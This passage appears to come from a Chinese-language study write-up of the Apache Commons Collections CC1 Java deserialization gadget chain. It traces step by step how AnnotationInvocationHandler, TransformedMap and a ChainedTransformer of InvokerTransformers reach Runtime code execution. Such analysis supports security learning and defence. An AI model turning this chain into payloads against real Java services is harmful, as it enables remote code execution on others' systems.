- 获取entry的key对应的值:I am Leyilea!
- 判断(value不是memberType的类型) 或者 (value是ExceptionProxy的实例)
- 进入
4.4 进入利用链触发点【核心逻辑】
4.4.1 memberValue.setValue()
执行memberValue.setValue()
- memberValue为TransformedMap(memberValues)的第一个entry
进入AbstractInputCheckedMapDecorator
的子类MapEntry
的setValue()
方法
触发checkSetValue()
方法
4.4.2 checkSetValue()
进入TransformMap
的checkSetValue()
方法
- 其中传入的对象value为AnnotationTypeMismatchExceptionProxy对象(这个是无法控制的,不过不影响)
valueTransformer
为ChainedTransformer
,元素为4个,即1个ConstantTransformer、3个InvokerTransformer。
📌注意:不同的transformer会调用不同的****
transform()
4.4.3 ChainedTransformer.transform()
调用ChainedTransformer
的transform()
方法
4.4.3.1 ConstantTransformer.transform()
第1个ConstantTransformer.transform()
,
- 返回
class java.lang.Runtime
4.4.3.2 InvokerTransformer.transform()
第2个InvokerTransformer.transform()
- 参数为
class java.lang.Runtime
- 返回
public static java.lang.Runtime java.lang.Runtime.getRuntime()
4.4.3.3 InvokerTransformer.transform()
第3个InvokerTransformer.transform()
- 参数为
public static java.lang.Runtime java.lang.Runtime.getRuntime()
- 返回
Runtime对象
4.4.3.4 InvokerTransformer.transform()
第4个InvokerTransformer.transform()
- 参数为
Runtime对象
- 返回
UNIXProcess对象
4.4.3.5 代码执行
返回之后,弹计算器
返回到TransformedMap
的checkSetValue()
方法
返回到AbstractInputCheckedMapDecorator
的子类MapEntry
的setValue()
方法
返回到AbstractIteratorDecorator
的hasNext()
方法
返回到unserialize()
方法结束
5 总结
5.1 涉及的各个对象的属性值
反序列化的AnnotationInvocationHandler对象中存在很多其他对象,存储在不同对象的属性中,反序列时会被使用。
- AnnotationInvocationHandler对象的属性Map<String, Object> memberValues的值为TransformedMap;
- TransformedMap对象的属性Transformer valueTransformer的值为ChainedTransformer;
- hainedTransformer对象的属性Transformer[] iTransformers的值为列表,元素有4个:1个ConstantTransformer、3个InvokerTransformer。
5.2 不同Transformer对象调用不同transformer()方法
其中Transformer类型的对象都可以调用transformer()方法,只是不同的Transformer对象调用不同的transformer()方法。
因为都重写了对应的transformer()方法。
-
ChainedTransformer对象调用transformer()方法,用来遍历链中的元素,并调用每个元素的transformer()方法,并将前面一个元素的返回结果当做后面一个元素.transformer()方法的参数。
-
ConstantTransformer对象调用transformer()方法,返回一个固定值,该值为其构造方法传入,在此链中为Runtime.class
-
InvokerTransformer对象调用transformer()方法,用来执行任意方法
5.3 恶意代码触发的方法调用链
sun.reflect.annotation.AnnotationInvocationHandler#readObject
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.ConstantTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
!!代码执行!!
// 返回
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
5.4 为什么new ConstantTransformer(Runtime.class)的transformer可以解决了 runtime对象无法传入的问题
这里其实是因为runtime对象是ChainedTransformer链执行transform()方法时,创建出来的,不需要我们手动创建传入。
这里其实是另一个问题,即:下述代码中memberValue.setValue()
按流程来说,应该传入runtime对象才对,为什么这里不需要了,使用AnnotationTypeMismatchExceptionProxy
对象也行??
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
首先明确以下,memberValue.setValue()中传入的值不出意外的话会传递到最终的transform()
方法。
而在这里,不管memberValue.setValue()
中不管传入什么,后面代码都会执行到ChainedTransformer
链,而ChainedTransformer
链中存在一个ConstantTransformer
类型的Transformer
对象,它可以接受任意的object,但是都会返回固定值(这里就是Runtime.class),给到了后面的transform()
方法当做参数,相当于截断了AnnotationTypeMismatchExceptionProxy
对象传递到最终的transform()
方法。
即上述方法调用链中:
AnnotationInvocationHandler#readObject
...memberValue.setValue() // 参数:AnnotationTypeMismatchExceptionProxy
AbstractInputCheckedMapDecorator.MapEntry#setValue // 参数 Annota...Proxy
TransformedMap#checkSetValue // 参数 Annota...Proxy
ChainedTransformer#transform // 参数 Annota...Proxy
ConstantTransformer#transform // 参数 Annota...Proxy
InvokerTransformer#transform // 参数 Runtime.class 这里发生了变化
InvokerTransformer#transform
InvokerTransformer#transform
!!代码执行!!
ConstantTransformer YYDS!!
6 参考链接
JAVA反序列化—CC链的前世今生 - FreeBuf网络安全行业门户
Java反序列化:CC1链 详解_cc链-CSDN博客
https://blog.csdn.net/weixin_49047967/article/details/134763883
Java反序列化:CC1链 详解_cc链-CSDN博客
CC链 1-7 分析 - 先知社区 (aliyun.com)
Java安全入门(二)——CC链1 分析+详解_cc1利用链-CSDN博客